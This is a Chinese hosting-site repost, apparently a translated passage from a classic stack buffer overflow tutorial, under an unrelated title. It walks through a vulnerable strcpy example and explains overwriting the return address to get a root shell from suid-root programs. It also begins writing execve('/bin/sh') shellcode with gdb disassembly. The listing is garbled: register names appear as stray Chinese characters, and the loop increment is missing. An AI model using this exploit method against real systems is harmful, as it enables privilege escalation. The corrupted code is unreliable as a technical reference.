手机站
网通分站
电信主站
密 码:
用户名:
当前位置 : 主页>网站运营>建站经验>列表

早期的电脑入侵者

来源:互联网 作者:west263.com 时间:2008-04-16
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!

esp(栈顶)            ebp

了解了栈帧的结构以后,现在我们能够来看一下 Buffer overflow 的机理了.

 2. Buffer Overflow 的机理

我们先举一个例子说明一下什么是 Buffer Overflow :

void function(char *str)

{

  char buffer[16];

  strcpy(buffer,str);

}

void main()

{

  char large_string[256];

  int i;

  for( i = 0; i < 255; i )

  large_string[i] = 'A';

  function(large_string);

}

这段程式中就存在 Buffer Overflow 的问题. 我们能够看到, 传递给function的字符串长度要比buffer大很多,而function没有经过任何长度校验直接用strcpy将长字符串拷入buffer. 假如您执行这个程式的话,系统会报告一个 Segmentation Violation 错误.下面我们就来分析一下为什么会这样?

首先我们看一下未执行strcpy时堆栈中的情况:

   16   4   4     4

...[buffer] [ebp] [ret地址] [large_string地址]

|      |

esp     ebp

当执行strcpy时, 程式将256 Bytes拷入buffer中,但是buffer只能容纳16 Bytes,那么这时会发生什么情况呢? 因为C语言并不进行边界检查, 所以结果是buffer后面的250字节的内容也被覆盖掉了,这其中自然也包括ebp, ret地址 ,large_string地址.因为此时ret地址变成了0x41414141h ,所以当过程结束返回时,他将返回到0x41414141h地址处继续执行,但由于这个地址并不在程式实际使用的虚存空间范围内,所以系统会报 Segmentation Violation.

从上面的例子中不难看出,我们能够通过Buffer Overflow来改变在堆栈中存放的过程返回地址,从而改变整个程式的流程,使他转向任何我们想要他去的地方.这就为黑客们提供了可乘之机, 最常见的方法是: 在长字符串中嵌入一段代码,并将过程的返回地址覆盖为这段代码的地址, 这样当过程返回时,程式就转而开始执行这段我们自编的代码了. 一般来说,这段代码都是执行一个Shell程式(如insh),因为这样的话,当我们入侵一个带有Buffer Overflow缺陷且具备suid-root属性的程式时,我们会获得一个具备root权限的shell,在这个shell中我们能够干任何事. 因此, 这段代码一般被称为Shell Code.

下面我们就来看一下如何编写Shell Code.

 

--------------------------------------------------------------------------------

3. Shell Code 的编写

下面是个创建Shell的C程式shellcode.c: (本文以IntelX86上的Linux为例说明)

void main() {

  char *name[2];

  name[0] = "/bin/sh";

  name[1] = NULL;

  execve(name[0], name, NULL);

}

我们先将他编译为执行代码,然后再用gdb来分析一下.(注意编译时要用-static选项,否则execve的代码将不会放入执行代码,而是作为动态链接在运行时才链入.)

------------------------------------------------------------------------------

[aleph1] $ gcc -o shellcode -ggdb -static shellcode.c

[aleph1] $ gdb shellcode

GDB is free software and you are welcome to distribute copies of it

under certain conditions; type "show copying" to see the conditions.

There is absolutely no warranty for GDB; type "show warranty" for details.

GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...

(gdb) disassemble main

Dump of assembler code for function main:

0x8000130 <main>: pushl 雙

0x8000131 <main 1>: movl %esp,雙

0x8000133 <main 3>: subl  $0x8,%esp

0x8000136 <main 6>: movl  $0x80027b8,0xfffffff8(雙)

0x800013d <main 13>: movl  $0x0,0xfffffffc(雙)

0x8000144 <main 20>: pushl  $0x0

0x8000146 <main 22>: leal 0xfffffff8(雙),陎

0x8000149 <main 25>: pushl 陎

0x800014a <main 26>: movl 0xfffffff8(雙),陎

0x800014d <main 29>: pushl 陎

0x800014e <main 30>: call 0x80002bc <__execve>

0x8000153 <main 35>: addl  $0xc,%esp

0x8000156 <main 38>: movl 雙,%esp

0x8000158 <main 40>: popl 雙

0x8000159 <main 41>: ret

End of assembler dump.

(gdb) disassemble __execve

Dump of assembler code for function __execve:

0x80002bc <__execve>: pushl 雙

0x80002bd <__execve 1>: movl %esp,雙

0x80002bf <__execve 3>: pushl 離

0x80002c0 <__execve 4>: movl  $0xb,陎

0x80002c5 <__execve 9>: movl 0x8(雙),離

0x80002c8 <__execve 12>: movl 0xc(雙),靫

0x80002cb <__execve 15>: movl 0x10(雙),韝

0x80002ce <__execve 18>: int  $0x80

0x80002d0 <__execve 20>: movl 陎,韝

0x80002d2 <__execve 22>: testl 韝,韝

0x80002d4 <__execve 24>: jnl 0x80002e6 <__execve 42>

0x80002d6 <__execve 26>: negl 韝

0x80002d8 <__execve 28>: pushl 韝

0x80002d9 <__execve 29>: call 0x8001a34 <__normal_errno_location>

0x80002de <__execve 34>: popl 韝

0x80002df <__execve 35>: movl 韝,(陎)

0x80002e1 <__execve 37>: movl  $0xffffffff,陎

文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!